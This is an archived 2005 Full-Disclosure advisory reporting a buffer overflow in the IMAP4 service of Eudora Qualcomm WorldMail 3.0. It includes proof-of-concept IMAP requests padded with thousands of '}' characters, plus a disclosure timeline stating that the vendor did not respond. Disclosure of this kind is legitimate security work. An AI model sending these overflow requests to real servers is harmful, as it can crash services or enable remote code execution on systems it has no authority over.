| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Date: Tue Dec 20 09:29:44 2005 From: Security-Advisories at acs-inc.com (Security Advisories) Subject: [ACSSEC-2005-11-27-0x1] Eudora Qualcomm WorldMail 3.0 IMAP4 Servi ce 6.1.19.0 -=[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]=- ACS Security Assessment Advisory - Buffer Overflow ID: ACSSEC-2005-11-27 - 0x1 Class: Buffer Overflow Package: Eudora Qualcomm WorldMail 3.0 IMAP4 Service 6.1.19.0 Build: Windows NT/2k/XP/2k3 Notified: Dec 01, 2005 Released: Dec 21, 2005 Remote: Yes Severity: Medium Credit: Tim Shelton <security-advisories@...-inc.com> -=[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]=- -=[ Background WorldMail 3 email and messaging server for small to large enterprises combines the features needed for today's cluttered email environment. WorldMail 3 combines the latest security tools required to stop abuse, spam, viruses and Directory Harvest Attacks (DHA). Other features include; a web-based email client, multi-level administration privileges and tools for migrating from WorldMail 2, OpenWave Post.Office, Ipswitch iMail and others. -=[ Technical Description Eudora Qualcomm WorldMail 3.0 IMAPd Service 6.1.19.0 (and possibly others) is vulnerable to a buffer overflow via a specially crafted IMAP requests. A remote attacker could issue the vulnerable command followed by malicious code to execute arbitrary code or lead to a denial of service. -=[ Proof of Concepts IMAP REQUEST: '02 LIST ""' + '}'x 5000 IMAP REQUEST: '03 LSUB ""' + '}'x 32762 IMAP REQUEST: '04 SEARCH TEXT ' + '}'x32762 IMAP REQUEST: '05 STATUS INBOX ' + '}'x32764 IMAP REQUEST: '02 AUTHENTICATE ' + '}'x32768 IMAP REQUEST: '02 FETCH 2:4 ' + '}'x10000 IMAP REQUEST: '02 SELECT ' + '}'x10000 IMAP REQUEST: '02 COPY 2:4 ' + '}'x32765 -=[ Solution No remedy available as of December 2005. -=[ Credits Vulnerability originally reported by Tim Shelton -=[ Similar References http://www.idefense.com/application/poi/display?id=341&type=vulnerabilities -=[ ChangeLog 2005-11-27 : Original Advisory 2005-12-01 : Vendor Notified 2005-12-20 : No response from vendor, disclosing full information. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20051220/59f27d74/attachment.html
Powered by blists - more mailing lists